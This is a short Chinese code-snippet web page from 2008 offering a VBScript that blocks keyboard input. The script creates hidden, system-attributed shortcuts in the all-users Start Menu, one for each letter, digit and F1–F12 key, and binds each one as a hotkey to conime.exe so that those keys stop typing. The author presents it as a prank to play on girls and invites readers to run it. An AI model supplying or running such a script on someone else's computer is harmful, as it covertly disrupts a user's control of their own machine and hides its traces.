vbs屏蔽键盘按键
更新时间:2008年02月22日 14:18:48 作者:
原理看代码吧,挺简单的.
这个只是测试代码,只屏蔽单个键.
虽然是测试代码,但拿去骗MM绝对可以
如果你实在看不懂,你就运行吧....看疗效
我只在WIN2003下测试,2K系列因该是没问题的.
复制代码 代码如下:
'code BY 伤脑筋 www.ntbak.cn www.jb51.net
'copy to filename.vbs
dim num,var,fso,wsh,pathname
num = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_
"V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_
"F7,F8,F9,F10,F11,F12"
var = Split(num, ",", -1, 1)
Set fso = CreateObject("Scripting.FileSystemObject")
set Wsh = WScript.CreateObject("WScript.Shell")
pathname = Wsh.SpecialFolders("AllUsersStartMenu")+"\程序\附件\辅助工具\"
for i = 0 to UBound(var)
set Link = Wsh.CreateShortcut(pathname+var(i)+".lnk")
Link.TargetPath = "conime.exe"
Link.Hotkey = var(i)
Link.Save
Set File = fso.GetFile(pathname+var(i)+".lnk")
file.Attributes = 2 + 4
next
相关文章
VBS教程:VBscript属性-HelpContext 属性
VBS教程:VBscript属性-HelpContext 属性...2006-11-11
最新评论